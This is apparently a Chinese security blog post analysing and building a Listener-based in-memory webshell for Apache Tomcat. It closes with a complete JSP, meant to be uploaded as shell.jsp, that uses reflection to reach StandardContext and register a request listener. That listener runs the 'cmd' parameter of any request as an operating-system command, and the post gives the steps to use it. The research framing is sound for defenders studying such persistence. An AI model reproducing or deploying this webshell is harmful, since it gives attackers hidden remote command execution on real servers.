前言
在浏览《JSP Webshell那些事 -- 攻击篇(下)》时里面提到了一种不常见的内存马构造方式,一般来说Tomcat下的内存马都是基于StandardContext来构建的,并且文中提到了web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,也就是说listener的优先级为三者中最高的。笔者也是第一次见到这种内存马,并且作者提到了该内存马的构造方式更为简单,因此本着研究的态度来分析下该内存马的构造流程。
Listener监听器介绍
监听器Listener就是在application,session,request三个对象创建、销毁或者往其中添加修改删除属性时自动执行代码的功能组件。
Listener是Servlet的监听器,可以监听客户端的请求,服务端的操作等。
其中Listener的监听主要分为三类
1.ServletContext监听:用于对Servlet整个上下文进行监听(创建、销毁)
2.Session监听:对Session的整体状态的监听
3.Request监听:用于对Request请求进行监听(创建、销毁)
对于这三类,熟悉java和Tomcat的同学应该也知道,对于request的请求和篡改是常见的利用方式,这里选取ServletRequestListener作为研究重点,重点看看其中是否存在可以添加Listener的构造函数,将我们的webshell功能写进Listener里去。
Listener型内存马分析
1 2 3 4 5 6 7 8 9 |
package javax.servlet; import java.util.EventListener; public interface ServletRequestListener extends EventListener { void requestDestroyed(ServletRequestEvent var1); void requestInitialized(ServletRequestEvent var1); } |
首先ServletRequestListener作为接口,我们可以重定义里面的逻辑,写进我们执行命令的语句,接着我们开始寻找Tomcat环境中能够加入Listener的构造方法。
在ApplicationContext类中存在addListener构造方法,那么到这里思路就已经很清晰了,通过获取当前Context对象,进而反射获取ApplicationContext对象,然后通过addListener函数调用我们构造的恶意Listener,实现内存Webshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
public <T extends EventListener> void addListener(T t) { if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) { throw new IllegalStateException(sm.getString("applicationContext.addListener.ise", new Object[]{this.getContextPath()})); } else { boolean match = false; if (t instanceof ServletContextAttributeListener || t instanceof ServletRequestListener || t instanceof ServletRequestAttributeListener || t instanceof HttpSessionIdListener || t instanceof HttpSessionAttributeListener) { this.context.addApplicationEventListener(t); match = true; } if (t instanceof HttpSessionListener || t instanceof ServletContextListener && this.newServletContextListenerAllowed) { this.context.addApplicationLifecycleListener(t); match = true; } if (!match) { if (t instanceof ServletContextListener) { throw new IllegalArgumentException(sm.getString("applicationContext.addListener.iae.sclNotAllowed", new Object[]{t.getClass().getName()})); } else { throw new IllegalArgumentException(sm.getString("applicationContext.addListener.iae.wrongType", new Object[]{t.getClass().getName()})); } } } } |
但是在这里如果想到通过ApplicationContext类来加入我们Listener会进入到上述代码,其中if语句会判断context当前所属的Tomcat生命周期是否正确,否则抛出异常,也就是说通过这里的addListener其实并不会添加成功,仔细查看代码,最终添加Listener的代码是这行
1 |
this.context.addApplicationEventListener(t); |
通过debug会发现这里ApplicationContext的context对象为StandardContext,进而调用StandardContext的addApplicationEventListener函数
这里并没有任何context的判断,可以直接添加listener,因此在获取到ApplicationContext对象后,继续通过反射获取StandardContext对象,最终调用addApplicationEventListener函数。
Listener型内存马构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <% Object obj = request.getServletContext(); java.lang.reflect.Field field = obj.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(obj); //获取ApplicationContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); //获取StandardContext ListenerDemo listenerdemo = new ListenerDemo(); //创建能够执行命令的Listener standardContext.addApplicationEventListener(listenerdemo); %> <%! public class ListenerDemo implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { System.out.println("requestDestroyed"); } public void requestInitialized(ServletRequestEvent sre) { System.out.println("requestInitialized"); try{ String cmd = sre.getServletRequest().getParameter("cmd"); Runtime.getRuntime().exec(cmd); }catch (Exception e ){ //e.printStackTrace(); } } } %> |
在实际场景中将该文件作为shell.jsp上传至服务器,然后进行访问,因为没有out输出,因此页面会显示空白,正常情况下此时内存马已经生成了
接下来访问任意路径,并传入cmd参数,可以看到此时基于Listener的内存马已经生效了。